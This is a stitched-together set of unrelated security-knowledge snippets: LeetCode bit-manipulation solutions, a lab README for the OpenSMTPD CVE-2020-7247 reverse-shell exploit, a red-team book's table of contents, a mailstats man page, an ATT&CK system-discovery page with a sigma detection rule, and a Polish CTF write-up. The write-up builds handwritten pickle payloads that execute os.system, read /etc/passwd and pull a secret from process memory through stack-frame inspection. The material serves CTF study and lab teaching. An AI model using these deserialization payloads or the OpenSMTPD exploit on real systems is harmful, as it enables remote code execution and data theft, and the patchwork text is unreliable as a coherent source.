[Leetcode](https://leetcode.com/problems/reverse-bits/description/) / [力扣](https://leetcode-cn.com/problems/reverse-bits/description/)
```java
public int reverseBits(int n) {
int ret = 0;
for (int i = 0; i < 32; i++) {
ret <<= 1;
ret |= (n & 1);
n >>>= 1;
}
return ret;
}
```
如果该函数需要被调用很多次,可以将 int 拆成 4 个 byte,然后缓存 byte 对应的比特位翻转,最后再拼接起来。
```java
private static Map<Byte, Integer> cache = new HashMap<>();
public int reverseBits(int n) {
int ret = 0;
for (int i = 0; i < 4; i++) {
ret <<= 8;
ret |= reverseByte((byte) (n & 0b11111111));
n >>= 8;
}
return ret;
}
private int reverseByte(byte b) {
if (cache.containsKey(b)) return cache.get(b);
int ret = 0;
byte t = b;
for (int i = 0; i < 8; i++) {
ret <<= 1;
ret |= t & 1;
t >>= 1;
}
cache.put(b, ret);
return ret;
}
```
## 6. 不用额外变量交换两个整数
[程序员代码面试指南 :P317](#)
```java
a = a ^ b;
b = a ^ b;
a = a ^ b;
```
## 7. 判断一个数是不是 2 的 n 次方
231\. Power of Two (Easy)
[Leetcode](https://leetcode.com/problems/power-of-two/description/) / [力扣](https://leetcode-cn.com/problems/power-of-two/description/)
二进制表示只有一个 1 存在。
```java
public boolean isPowerOfTwo(int n) {
return n > 0 && Integer.bitCount(n) == 1;
}
```
利用 1000 & 0111 == 0 这种性质,得到以下解法:
```java
public boolean isPowerOfTwo(int n) {
return n > 0 && (n & (n - 1)) == 0;
}
```
## 8. 判断一个数是不是 4 的 n 次方
342\. Power of Four (Easy)
[Leetcode](https://leetcode.com/problems/power-of-four/) / [力扣](https://leetcode-cn.com/problems/power-of-four/)
这种数在二进制表示中有且只有一个奇数位为 1,例如 16(10000)。
```java
public boolean isPowerOfFour(int num) {
return num > 0 && (num & (num - 1)) == 0 && (num & 0b01010101010101010101010101010101) != 0;
}
```
也可以使用正则表达式进行匹配。
```java
public boolean isPowerOfFour(int num) {
return Integer.toString(num, 4).matches("10*");
}
```
## 9. 判断一个数的位级表示是否不会出现连续的 0 和 1
693\. Binary Number with Alternating Bits (Easy)
[Leetcode](https://leetcode.com/problems/binary-number-with-alternating-bits/description/) / [力扣](https://leetcode-cn.com/problems/binary-number-with-alternating-bits/description/)
```html
Input: 10
Output: True
Explanation:
The binary representation of 10 is: 1010.
Input: 11
Output: False
Explanation:
The binary representation of 11 is: 1011.
```
对于 1010 这种位级表示的数,把它向右移动 1 位得到 101,这两个数每个位都不同,因此异或得到的结果为 1111。
```java
public boolean hasAlternatingBits(int n) {
int a = (n ^ (n >> 1));
return (a & (a + 1)) == 0;
}
```
## 10. 求一个数的补码
476\. Number Complement (Easy)
[Leetcode](https://leetcode.com/problems/number-complement/description/) / [力扣](https://leetcode-cn.com/problems/number-complement/description/)
```html
Input: 5
Output: 2
Explanation: The binary representation of 5 is 101 (no leading zero bits), and its complement is 010. So you need to output 2.
```
题目描述:不考虑二进制表示中的首 0 部分。
对于 00000101,要求补码可以将它与 00000111 进行异或操作。那么问题就转换为求掩码 00000111。
```java
public int findComplement(int num) {
if (num == 0) return 1;
int mask = 1 << 30;
while ((num & mask) == 0) mask >>= 1;
mask = (mask << 1) - 1;
return num ^ mask;
}
```
可以利用 Java 的 Integer.highestOneBit() 方法来获得含有首 1 的数。
```java
public int findComplement(int num) {
if (num == 0) return 1;
int mask = Integer.highestOneBit(num);
mask = (mask << 1) - 1;
return num ^ mask;
}
```
对于 10000000 这样的数要扩展成 11111111,可以利用以下方法:
```html
mask |= mask >> 1 11000000
mask |= mask >> 2 11110000
mask |= mask >> 4 11111111
```
```java
public int findComplement(int num) {
int mask = num;
mask |= mask >> 1;
mask |= mask >> 2;
mask |= mask >> 4;
mask |= mask >> 8;
mask |= mask >> 16;
return (mask ^ num);
}
```
## 11. 实现整数的加法
371\. Sum of Two Integers (Easy)
[Leetcode](https://leetcode.com/problems/sum-of-two-integers/description/) / [力扣](https://leetcode-cn.com/problems/sum-of-two-integers/description/)
a ^ b 表示没有考虑进位的情况下两数的和,(a & b) \<\< 1 就是进位。
递归会终止的原因是 (a & b) \<\< 1 最右边会多一个 0,那么继续递归,进位最右边的 0 会慢慢增多,最后进位会变为 0,递归终止。
```java
public int getSum(int a, int b) {
return b == 0 ? a : getSum((a ^ b), (a & b) << 1);
}
```
## 12. 字符串数组最大乘积
318\. Maximum Product of Word Lengths (Medium)
[Leetcode](https://leetcode.com/problems/maximum-product-of-word-lengths/description/) / [力扣](https://leetcode-cn.com/problems/maximum-product-of-word-lengths/description/)
```html
Given ["abcw", "baz", "foo", "bar", "xtfn", "abcdef"]
Return 16
The two words can be "abcw", "xtfn".
```
题目描述:字符串数组的字符串只含有小写字符。求解字符串数组中两个字符串长度的最大乘积,要求这两个字符串不能含有相同字符。
本题主要问题是判断两个字符串是否含相同字符,由于字符串只含有小写字符,总共 26 位,因此可以用一个 32 位的整数来存储每个字符是否出现过。
```java
public int maxProduct(String[] words) {
int n = words.length;
int[] val = new int[n];
for (int i = 0; i < n; i++) {
for (char c : words[i].toCharArray()) {
val[i] |= 1 << (c - 'a');
}
}
int ret = 0;
for (int i = 0; i < n; i++) {
for (int j = i + 1; j < n; j++) {
if ((val[i] & val[j]) == 0) {
ret = Math.max(ret, words[i].length() * words[j].length());
}
}
}
return ret;
}
```
## 13. 统计从 0 \~ n 每个数的二进制表示中 1 的个数
338\. Counting Bits (Medium)
[Leetcode](https://leetcode.com/problems/counting-bits/description/) / [力扣](https://leetcode-cn.com/problems/counting-bits/description/)
对于数字 6(110),它可以看成是 4(100) 再加一个 2(10),因此 dp[i] = dp[i&(i-1)] + 1;
```java
public int[] countBits(int num) {
int[] ret = new int[num + 1];
for(int i = 1; i <= num; i++){
ret[i] = ret[i&(i-1)] + 1;
}
return ret;
}
```
|
sec-knowleage
|
# OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)
[中文版本(Chinese version)](README.zh-cn.md)
OpenSMTPD is an smtp service program for unix operating systems (BSD, MacOS, GNU/Linux), following the RFC 5321 SMTP protocol. OpenSMTPD was originally developed for the OpenBSD operating system and is part of the OpenBSD project. Due to its open source properties, Distributed to other unix platforms. According to the ISC license, the software is free for everyone to use and reuse.
`CVE-2020-7247` is caused by OpenSMTPD's lax verification of the sender/recipient in the process of implementing RFC 5321.
On January 29, 2020, OpenSMTPD group officially submitted a fix for the `CVE-2020-7247` in the GitHub repository. After the repair, the corresponding version is `OpenSMTPD 6.6.2p1`.
**Reference:**
- https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt
- https://www.exploit-db.com/exploits/47984
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7247
- https://www.anquanke.com/post/id/197689
## Start Vulnerability Application
Start a vulnerable OpenSMTPD through following command:
```
docker compose up -d
```
After SMTPD server is started, connect to the 8825 port and get the result (`44dadcc5a6eb` is the container ID):
```
$ nc <your-ip> 8825 -v
220 44dadcc5a6eb ESMTP OpenSMTPD
```
## Vulnerability Reproduce
Use [Exploit-DB](https://www.exploit-db.com/exploits/47984) to gain a reverse shell:
```
python3 poc.py your-ip 8825 <command>
```

|
sec-knowleage
|
# 目录
* ### [前言](content/前言.md#前言)
* [提示和免责声明](content/前言.md#提示和免责声明)
* ### [介绍](content/介绍.md)
* [渗透测试团队与红队](content/介绍.md#渗透测试团队与红队)
* [总结](content/介绍.md#总结)
* ### [第1章 赛前准备——安装](content/1_pregame_the_setup.md)
* [假定攻破练习](content/1_pregame_the_setup.md#假定攻破练习)
* [设定你的行动](content/1_pregame_the_setup.md#设定你的行动)
* [设置你的外部服务器](content/1_pregame_the_setup.md#设置你的外部服务器)
* [红队的核心工具](content/1_pregame_the_setup.md#红队的核心工具)
* [Metasploit 框架](content/1_pregame_the_setup.md#metasploit-框架)
* [Cobalt Strike](content/1_pregame_the_setup.md#cobalt-strike)
* [PowerShell Empire](content/1_pregame_the_setup.md#powershell-empire)
* [dnscat2](content/1_pregame_the_setup.md#dnscat2)
* [p0wnedShell](content/1_pregame_the_setup.md#p0wnedshell)
* [Pupy Shell](content/1_pregame_the_setup.md#pupy-shell)
* [PoshC2](content/1_pregame_the_setup.md#poshc2)
* [Merlin](content/1_pregame_the_setup.md#merlin)
* [Nishang](content/1_pregame_the_setup.md#nishang)
* [本章总结](content/1_pregame_the_setup.md#本章总结)
* ### [第2章 发球前——红队侦察](content/2_before_the_snap_red_team_recon.md)
* [环境探测](content/2_before_the_snap_red_team_recon.md#环境探测)
* [扫描结果差异化分析](content/2_before_the_snap_red_team_recon.md#扫描结果差异化分析)
* [Web 应用程序监控](content/2_before_the_snap_red_team_recon.md#web-应用程序监控)
* [云扫描](content/2_before_the_snap_red_team_recon.md#云扫描)
* [网络和服务的搜索引擎](content/2_before_the_snap_red_team_recon.md#网络和服务的搜索引擎)
* [手动解析 SSL 证书](content/2_before_the_snap_red_team_recon.md#手动解析-ssl-证书)
* [子域名发现](content/2_before_the_snap_red_team_recon.md#子域名发现)
* [Github](content/2_before_the_snap_red_team_recon.md#github)
* [Cloud](content/2_before_the_snap_red_team_recon.md#cloud)
* [电子邮件](content/2_before_the_snap_red_team_recon.md#电子邮件)
* [额外的开源资源](content/2_before_the_snap_red_team_recon.md#额外的开源资源)
* [本章总结](content/2_before_the_snap_red_team_recon.md#本章总结)
* ### [第3章 抛传——Web 应用程序漏洞利用](content/3_the_throw_web_application_exploitation.md)
* [漏洞赏金平台](content/3_the_throw_web_application_exploitation.md#漏洞赏金平台)
* [网络攻击介绍——Cyber Space Kittens](content/3_the_throw_web_application_exploitation.md#网络攻击介绍cyber-space-kittens)
* [红队的 Web 应用程序攻击](content/3_the_throw_web_application_exploitation.md#红队的-web-应用程序攻击)
* [聊天支持系统实验](content/3_the_throw_web_application_exploitation.md#聊天支持系统实验)
* [Cyber Space Kittens:聊天支持系统](content/3_the_throw_web_application_exploitation.md#cyber-space-kittens聊天支持系统)
* [设置你的 Web 应用程序攻击机器](content/3_the_throw_web_application_exploitation.md#设置你的-web-应用程序攻击机器)
* [分析 Web 应用程序](content/3_the_throw_web_application_exploitation.md#分析-web-应用程序)
* [网络探测](content/3_the_throw_web_application_exploitation.md#网络探测)
* [XSS 跨站脚本攻击](content/3_the_throw_web_application_exploitation.md#xss-跨站脚本攻击)
* [Blind XSS 漏洞](content/3_the_throw_web_application_exploitation.md#blind-xss-漏洞)
* [基于 DOM 的 XSS](content/3_the_throw_web_application_exploitation.md#基于-dom-的-xss)
* [NodeJS 中的高级 XSS](content/3_the_throw_web_application_exploitation.md#nodejs-中的高级-xss)
* [从 XSS 到 shell](content/3_the_throw_web_application_exploitation.md#从-xss-到-shell)
* [NoSQL 注入](content/3_the_throw_web_application_exploitation.md#nosql-注入)
* [反序列化攻击](content/3_the_throw_web_application_exploitation.md#反序列化攻击)
* [模板引擎攻击——模板注入](content/3_the_throw_web_application_exploitation.md#模板引擎攻击模板注入)
* [JavaScript 和远程代码执行](content/3_the_throw_web_application_exploitation.md#javascript-和远程代码执行)
* [服务器端请求伪造(SSRF)](content/3_the_throw_web_application_exploitation.md#服务器端请求伪造ssrf)
* [XML 外部实体攻击(XXE)](content/3_the_throw_web_application_exploitation.md#xml-外部实体攻击xxe)
* [高级 XXE——XXE-OOB](content/3_the_throw_web_application_exploitation.md#高级-xxexxe-oob)
* [本章总结](content/3_the_throw_web_application_exploitation.md#本章总结)
* ### [第4章 带球——开始攻击网络](content/4_the_drive_compromising_the_network.md)
* [从外网寻找侵入对方系统的登陆凭证](content/4_the_drive_compromising_the_network.md#从外网寻找侵入对方系统的登陆凭证)
* [高级选修实验](content/4_the_drive_compromising_the_network.md#高级选修实验)
* [通过网络移动](content/4_the_drive_compromising_the_network.md#通过网络移动)
* [建立环境——实验网络](content/4_the_drive_compromising_the_network.md#建立环境实验网络)
* [在内网中没有凭据](content/4_the_drive_compromising_the_network.md#在内网中没有凭据)
* [Responder](content/4_the_drive_compromising_the_network.md#responder)
* [更好的 Responder(MultiRelay.py)](content/4_the_drive_compromising_the_network.md#更好的-respondermultirelaypy)
* [PowerShell Responder](content/4_the_drive_compromising_the_network.md#powershell-responder)
* [没有凭据的用户枚举](content/4_the_drive_compromising_the_network.md#没有凭据的用户枚举)
* [使用 CrackMapExec(CME)扫描网络](content/4_the_drive_compromising_the_network.md#使用-crackmapexeccme扫描网络)
* [在攻陷你的第一台机器之后](content/4_the_drive_compromising_the_network.md#在攻陷你的第一台机器之后)
* [权限提升](content/4_the_drive_compromising_the_network.md#权限提升)
* [权限提升实验](content/4_the_drive_compromising_the_network.md#权限提升实验)
* [从内存中提取明文凭据](content/4_the_drive_compromising_the_network.md#从内存中提取明文凭据)
* [从 Windows 凭据管理器和浏览器获取密码](content/4_the_drive_compromising_the_network.md#从-windows-凭据管理器和浏览器获取密码)
* [从 OSX 获取本地凭证和信息](content/4_the_drive_compromising_the_network.md#从-osx-获取本地凭证和信息)
* [利用 Windows 域环境的本地应用程序进行攻击](content/4_the_drive_compromising_the_network.md#利用-windows-域环境的本地应用程序进行攻击)
* [Service Principal Names(服务主体名称)](content/4_the_drive_compromising_the_network.md#service-principal-names服务主体名称)
* [查询 Active Directory](content/4_the_drive_compromising_the_network.md#查询-active-directory)
* [Bloodhound/Sharphound](content/4_the_drive_compromising_the_network.md#bloodhoundsharphound)
* [横向漫游——移动](content/4_the_drive_compromising_the_network.md#横向漫游移动)
* [离开初始主机](content/4_the_drive_compromising_the_network.md#离开初始主机)
* [利用 DCOM 的横向移动](content/4_the_drive_compromising_the_network.md#利用-dcom-的横向移动)
* [Pass-the-Hash](content/4_the_drive_compromising_the_network.md#pass-the-hash)
* [从服务帐户获取凭据](content/4_the_drive_compromising_the_network.md#从服务帐户获取凭据)
* [转储域控制器哈希](content/4_the_drive_compromising_the_network.md#转储域控制器哈希)
* [利用 VPS 在内网进行 RDP 横向移动](content/4_the_drive_compromising_the_network.md#利用-vps-在内网进行-rdp-横向移动)
* [在 Linux 中横向移动](content/4_the_drive_compromising_the_network.md#在-linux-中横向移动)
* [Linux 提权](content/4_the_drive_compromising_the_network.md#linux-提权)
* [Linux 横向移动实验](content/4_the_drive_compromising_the_network.md#linux-横向移动实验)
* [攻击 CSK 安全网络](content/4_the_drive_compromising_the_network.md#攻击-csk-安全网络)
* [本章总结](content/4_the_drive_compromising_the_network.md#本章总结)
* ### [第5章 助攻——社会工程学攻击](content/5_the_screen_social_engineering.md)
* [开始社会工程学攻击行动](content/5_the_screen_social_engineering.md#开始社会工程学攻击行动)
* [近似域名(Doppelganger Domain)](content/5_the_screen_social_engineering.md#近似域名doppelganger-domain)
* [如何克隆验证页面](content/5_the_screen_social_engineering.md#如何克隆验证页面)
* [使用双因素验证的身份凭证](content/5_the_screen_social_engineering.md#使用双因素验证的身份凭证)
* [网络钓鱼](content/5_the_screen_social_engineering.md#网络钓鱼)
* [Microsoft Word/Excel 宏文件](content/5_the_screen_social_engineering.md#microsoft-wordexcel-宏文件)
* [非宏的 Office 文件 —— DDE](content/5_the_screen_social_engineering.md#非宏的-office-文件--dde)
* [隐藏的加密 payload](content/5_the_screen_social_engineering.md#隐藏的加密-payload)
* [利用社会工程学攻破内网 Jenkins](content/5_the_screen_social_engineering.md#利用社会工程学攻破内网-jenkins)
* [本章总结](content/5_the_screen_social_engineering.md#本章总结)
* ### [第6章 短传——物理访问攻击](content/6_the_onside_kick_physical_attacks.md)
* [ID 卡复制器](content/6_the_onside_kick_physical_attacks.md#id-卡复制器)
* [绕过入口点的物理工具](content/6_the_onside_kick_physical_attacks.md#绕过入口点的物理工具)
* [LAN Turtle](content/6_the_onside_kick_physical_attacks.md#lan-turtle)
* [Packet Squirrel](content/6_the_onside_kick_physical_attacks.md#packet-squirrel)
* [Bash Bunny](content/6_the_onside_kick_physical_attacks.md#bash-bunny)
* [闯入 Cyber Space Kittens](content/6_the_onside_kick_physical_attacks.md#闯入-cyber-space-kittens)
* [QuickCreds](content/6_the_onside_kick_physical_attacks.md#quickcreds)
* [BunnyTap](content/6_the_onside_kick_physical_attacks.md#bunnytap)
* [WiFi](content/6_the_onside_kick_physical_attacks.md#wifi)
* [本章总结](content/6_the_onside_kick_physical_attacks.md#本章总结)
* ### [第7章 四分卫突破——逃避杀毒软件和网络检测](content/7_the_quarterback_sneak_evading_av_and_network_detection.md)
* [为红队行动编写工具](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#为红队行动编写工具)
* [基础的键盘记录器](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#基础的键盘记录器)
* [设置你的环境](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#设置你的环境)
* [从源码编译](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#从源码编译)
* [示例框架](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#示例框架)
* [混淆](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#混淆)
* [本书定制的挂钩病毒(Dropper)](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#本书定制的挂钩病毒dropper)
* [Shellcode 与 DLL](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#shellcode-与-dll)
* [运行服务器](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#运行服务器)
* [客户端](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#客户端)
* [配置客户端和服务器](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#配置客户端和服务器)
* [添加新的处理程序](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#添加新的处理程序)
* [进一步练习](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#进一步练习)
* [重新编译 Metasploit/Meterpreter 以绕过杀毒软件和网络检测](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#重新编译-metasploitmeterpreter-以绕过杀毒软件和网络检测)
* [如何在 Windows 上构建(build) Metasploit/Meterpreter:](/content/7_the_quarterback_sneak_evading_av_and_network_detection.md#如何在-windows-上构建build-metasploitmeterpreter)
* [创建一个修改后的 Stage 0 Payload](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#创建一个修改后的-stage-0-payload)
* [SharpShooter](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#sharpshooter)
* [应用程序白名单绕过](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#应用程序白名单绕过)
* [代码洞(Code Caves)](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#代码洞code-caves)
* [PowerShell 混淆](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#powershell-混淆)
* [不使用 PowerShell.exe 执行 PowerShell 脚本](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#不使用-powershellexe-执行-powershell-脚本)
* [HideMyPS](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#hidemyps)
* [本章总结](content/7_the_quarterback_sneak_evading_av_and_network_detection.md#本章总结)
* ### [第8章 特勤组——破解、漏洞利用和技巧](content/8_special_teams_cracking_exploits_and_tricks.md)
* [自动化](content/8_special_teams_cracking_exploits_and_tricks.md#自动化)
* [使用 RC 脚本自动化运行 Metasploit](content/8_special_teams_cracking_exploits_and_tricks.md#使用-rc-脚本自动化运行-metasploit)
* [自动化运行 Empire](content/8_special_teams_cracking_exploits_and_tricks.md#自动化运行-empire)
* [自动化运行 Cobalt Strike](content/8_special_teams_cracking_exploits_and_tricks.md#自动化运行-cobalt-strike)
* [自动化的未来](content/8_special_teams_cracking_exploits_and_tricks.md#自动化的未来)
* [密码破解](content/8_special_teams_cracking_exploits_and_tricks.md#密码破解)
* [彻底破解全部 —— 尽可能多地快速破解](content/8_special_teams_cracking_exploits_and_tricks.md#彻底破解全部--尽可能多地快速破解)
* [破解 CyberSpaceKittens NTLM 哈希:](content/8_special_teams_cracking_exploits_and_tricks.md#破解-cyberspacekittens--ntlm-哈希)
* [具有创新性的的入侵行动](content/8_special_teams_cracking_exploits_and_tricks.md#具有创新性的的入侵行动)
* [禁用 PowerShell 记录](content/8_special_teams_cracking_exploits_and_tricks.md#禁用-powershell-记录)
* [从命令行连接网络下载 Windows 文件](content/8_special_teams_cracking_exploits_and_tricks.md#从命令行连接网络下载-windows-文件)
* [从本地管理员权限到系统权限](content/8_special_teams_cracking_exploits_and_tricks.md#从本地管理员权限到系统权限)
* [在不触及 LSASS 的情况下检索 NTLM 哈希值](content/8_special_teams_cracking_exploits_and_tricks.md#在不触及-lsass-的情况下检索-ntlm-哈希值)
* [使用防御工具构建训练和监控的实验环境](content/8_special_teams_cracking_exploits_and_tricks.md#使用防御工具构建训练和监控的实验环境)
* [本章总结](content/8_special_teams_cracking_exploits_and_tricks.md#本章总结)
* ### [第9章 两分钟的训练——从零到英雄](content/9_two_minute_drill_from_zero_to_hero.md)
* ### [第10章 赛后——分析报告](content/10_post_game_analysis_reporting.md)
* ### [继续教育](content/继续教育.md)
* ### [关于作者](content/关于作者.md)
|
sec-knowleage
|
.TH MAILSTATS 8 "UNIX Reference Manual" "3rd Berkeley Distribution" "April 25, 1996"
.SH NAME
.B mailstats - 显示邮件状态信息
.SH 总览
.B mailstats [-o] [-C cffile] [-f stfile]
.SH 描述
mailstats工具显示当前的邮件状态信息。
.PP
首先,先显示统计启动时所记录的时间,当然是以ctime(3)所指定的格式。然后每行显
示一个邮件程序的统计,而每行都以空格把下面这些字段分隔开:
.sp
.RS
.PD 0.2v
.TP 1.2i
M
邮件程序号码
.TP
msgsfr
该邮件程序接收的信件数
.TP
bytes_from
该邮件程序接收的信件容量
.TP
msgsto
该邮件程序发出的信件数
.TP
bytes_to
该邮件程序发出的信件容量
.TP
msgsrej
退回的信件数
.TP
msgsdis
丢弃的信件数
.TP
Mailer
该邮件程序名
.PD
.RE
.PP
显示完这些后,用一行对所有邮件程序的所有值进行合计,中间用一行等号把它和上面的
内容隔开。
.PP
该程序有以下选项:
.TP
-C
读取指定的文件来替换缺省的sendmail的"cf"文件。
.TP
-f
读取指定的统计文件来替换在sendmail的"cf"文件中所指定的那个统计文件。
.TP
-o
在输出中不显示邮件程序名。
.PP
该程序运行正常返回0,出错返回大于0的任何值。
.SH 文件
.TP 2.5i
/etc/sendmail.cf
缺省的sendmail的"cf"文件。
.TP
/var/log/sendmail.st
缺省的sendmail的统计文件。
.SH 另见
mailq(1),sendmail(8)
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2001/02/24
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1082-win-系统信息发现
## 来自ATT&CK的描述
攻击者可能试图获取有关操作系统和硬件的详细信息,包括版本,补丁,修补程序,服务包和目录结构。攻击者可以在发现过程中使用系统信息中发现的信息来决定后续的操作,包括攻击者是否完全感染了目标或尝试了特定操作。
## 测试案例
### windows
获得此信息例如命令和实用程序包括VER,SYSTEMINFO,dir用于获取基于本文件和目录的信息。
## 检测日志
windows 安全日志
## 测试复现
windows下测试systeminfo命令
```dos
Microsoft Windows [版本 6.3.9600]
(c) 2013 Microsoft Corporation。保留所有权利。
C:\Users\Administrator>systeminfo
主机名: ABCC
OS 名称: Microsoft Windows 10 专业版
OS 版本: 10.0.18362 暂缺 Build 18362
OS 制造商: Microsoft Corporation
OS 配置: 独立工作站
OS 构件类型: Multiprocessor Free
注册的所有人: Windows User
注册的组织:
```
## 测试留痕
windows 安全日志/4688/进程名称/进程命令行
值得注意的是:测试环境为windows server 2012需要开启审核策略才能够对进程命令行进行审计。
## 检测规则/思路
### sigma规则
```yml
title: 在windows系统信息发现
description: windows server 2012 测试结果
references: https://github.com/0xpwntester/CB-Threat-Hunting/blob/master/ATT%26CK/T1082-%20systeminfo%20executions.md
tags: T1082
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688 #已创建新的进程。
Newprocessname: 'C:\Windows\System32\systeminfo.exe' #新进程名称
Tokenpromotiontype: 'TokenElevationTypeDefault (1)' #令牌提升类型
Processcommandline: 'systeminfo' #进程命令行
condition: selection
level: medium
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1082
<https://attack.mitre.org/techniques/T1082/>
|
sec-knowleage
|
##Unickle (Web, 200p)
OSaaS is the new trend for 2016! Store your object directly in the cloud. Get rid of the hassle of managing your own storage for object with Osaas. Unickle currently offers a beta version that demonstrates how OSaaS will make the internet a better place... One object at a time!!
###PL
[ENG](#eng-version)
###ENG version
|
sec-knowleage
|
##Gurke (Misc, 300p)
###PL
[ENG](#eng-version)
Na serwerze działa [skrypt](gurke.py) który odbiera od nas wiadomość a następnie deserializuje ją za pomocą pickle.
Z kodu wynika, że w pamięci wczytana jest flaga pobrana z socketu a my mamy dość spore ograniczenia jeśli chodzi o wołanie funkcji kernela.
Pickle pozwala na bardzo nietypowy sposób deserializacji obiektów - możemy w danej klasie nadpisać metodę `__reduce__()` i zwrócić z niej krotkę zawierającą:
- funkcję
- krotkę z parametrami dla tej funkcji
A pickle podczas deserializacji obiektu tej klasy wywoła podaną funkcję z tymi parametrami.
To oznacza, że teoretycznie możemy wykonać dowolną funkcję z dowolnymi parametrami po stronie serwera. W szczególności moglibyśmy wykonać na przykład `os.system("command")`! Pickle jako takie ma zaimplementowane pewne zabezpieczenia, które nie pozwalają na serializację obiektów z pewnymi funkcjami, niemniej format pickle jest na tyle prosty, że możemy napisać go ręcznie.
Pickle wykonujący powyższe wywołanie `os.system("ls")` wyglądałby tak:
```
cos
system
(S'ls'
tR.
```
Pickle wykonuje podany przez nas kod jako maszyna ze stosem. Powyższy kod jest interpretowany jako:
`cos\nsystem` - połóż na stosie funkcje `system` importowaną z modułu `os`
`(` - połóż na stosie marker
`S'ls'` - połóż na stosie stringa `ls`
`t` - pobierz ze stosu wszystko aż do najbliższego markera, zrób z tego krotkę i połóż ją na stosie
`R` - pobierz ze stosu dwa elementy, pierwszy potraktuj jako argumenty a drugi jako funkcję którą należy z nimi wywołać, połóż na stosie wynik funkcji
Dodatkowe operacje, które będą nam w tym zadaniu potrzebne to:
`I123` - połóż na stosie integera o wartości 123
`)` - połóż na stosie pustą krotkę
`d` - pobierz ze stosu wszystko do markera i zbuduj z tego słownik
Znaki nowej linii są konieczne! Możemy oczywiście składać wywołania funkcji kaskadowo i na przykład wywołanie
`os.write(1, subprocess.check_output("cat /etc/passwd"))`
możemy wysłać jako:
```
cos
write
(I1
csubprocess
check_output
(S'cat /etc/passwd'
tRtR.
```
Potrafimy więc wykonywać niemalże dowolny kod na zdalnej maszynie, o ile funkcja którą chcemy wywołać jest tam dostępna. Teraz czas zastanowić się jak użyć tego do uzyskania samej flagi. Flagę można odczytać przez socket, ale takiej możliwości nie mamy ze względu na ograniczenia nałożne na skrypt. Pozostaje nam jedynie wyciągnięcie flagi, która jest wczytana do pamięci programu działającego na serwerze.
Wykorzystamy do tego dostępny na serwerze pakiet `inspect`. Pozwala on między innymi na operacje `inspect.currentframe()`, `inspect.getouterframes()` oraz `inspect.getmembers()`. Pierwsza funkcja zwraca aktualną ramkę stosu. Druga zwraca listę informacji o ramkach stosu, które są wyżej od naszej (w tym same ramki). Trzecia zwraca dane wyciągnięte z podanej ramki stosu. Chcemy wykonać kaskadę `inspect.getouterframes(inspect.currentframe())` która zwróci nam listę informacji na temat ramek powyżej naszej, czyli w szczególności także ramkę w której znajduje się poszukiwana przez nas flaga. Wypisując na ekran kolejne elementy tej listy możemy odczytać że interesująca nas ramka jest 3 elementem listy, a sama ramka jest pierwszym elementem krotki. Więc dostęp do ramki wymaga:
```python
current_frame = inspect.currentframe()
outer_frames = inspect.getouterframes(current_frame)
frame_with_flag = outer_frames[3][0]
```
Lub zapisanego zwięźlej `inspect.getouterframes(inspect.currentframe())[3][0]`
Następnie używamy funkcji `inspect.getmembers()` do pobrania informacji o ramce, gdzie znajdują się też wartości zmiennych globalnych w tej ramce, w tym naszej flagi. Serwer przycina informacje które dostajemy więc musimy lokalnie policzyć gdzie dokładnie znajduje się flaga. Okazuje się, że z wyniku `getmembers` potrzebujemy pobrać 6 od końca element zwróconej listy, z niego pobrać element o indeksie 1 i uzyskamy w ten sposób słownik zmiennych globalnych. Flaga nazywa się `flag` i jest obiektem klasy, który ma pole `flag`. Potrzebujemy więc:
```python
framedata = inspect.getmembers(frame_with_flag)
flag_value = framedata[-6][1]['flag'].flag
```
Potrzebujemy więc kaskadowego wywołania: `os.write(1,inspect.getmembers(inspect.getouterframes(inspect.currentframe())[3][0])[-6][1]['flag'].flag)`
Pojawia się jednak problem - operacje indeksowania list oraz pobierania elementu słownika nie są dla nas dostępne w postaci funkcji (ponieważ na przykład pakiet `list` nie jest importowany po stronie serwera). Na szczęście na serwerze dostępne są jeszcze pakiety `marshal`, `types` oraz `base64`. Możemy dzięki nim dokonać serializacji oraz deserializacji bajtkodu funkcji napisanej w pythonie. Możemy zamienić funkcje na stringa a potem z tego stringa odtworzyć funkcję, którą nadal da się wywołać!
```python
import base64
import marshal
import types
def fun(arg):
print('test ' + arg)
marshaled_bytecode = marshal.dumps(fun.func_code)
printable_string = base64.b64encode(marshaled_bytecode)
print(printable_string)
decoded_bytecode = base64.b64decode(printable_string)
recovered_code = marshal.loads(decoded_bytecode)
callable_function = types.FunctionType(recovered_code, {}, "")
callable_function("argument")
```
Powyższy kod prezentuje jak można zbudować stringa z "funkcją" a następnie jak tą funkcję odtworzyć. Nie trudno zauważyć, że odtworzenie funkcji to kaskada:
`types.FunctionType(marshal.loads(base64.b64decode("base64 code")),{},"")`
I taką operację możemy zapisać prosto w postaci pickle:
```
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'base64 code'
tRtR(dS''
))tR
```
I w ten sposób na stosie znajdzie się nasza własna funkcja.
